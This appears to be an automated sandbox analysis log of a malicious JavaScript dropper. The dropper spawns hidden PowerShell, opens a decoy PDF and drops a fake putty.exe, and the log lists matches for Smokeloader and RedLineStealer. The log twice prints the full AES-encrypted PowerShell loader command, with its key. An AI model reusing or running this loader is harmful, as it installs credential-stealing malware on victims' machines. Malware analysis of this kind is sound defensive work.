Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0041367C	16_2_0041367C
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0040CA8E	16_2_0040CA8E
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00412E9C	16_2_00412E9C
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00413A9C	16_2_00413A9C
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0041973F	16_2_0041973F
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00413FDC	16_2_00413FDC
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0041AB98	16_2_0041AB98

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\putty.exe 7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\sarbjfc 7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2157
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2157			Jump to behavior

Source: 00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2828, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56

Source: putty.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sarbjfc.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@23/41@6/3

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 5_2_00481DB7 CreateToolhelp32Snapshot,Module32First,

5_2_00481DB7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\invoce.pdf

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5948:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mcazrssl.xl0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,13204339744682655866,10890177265779677323,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sarbjfc C:\Users\user\AppData\Roaming\sarbjfc
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,13204339744682655866,10890177265779677323,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
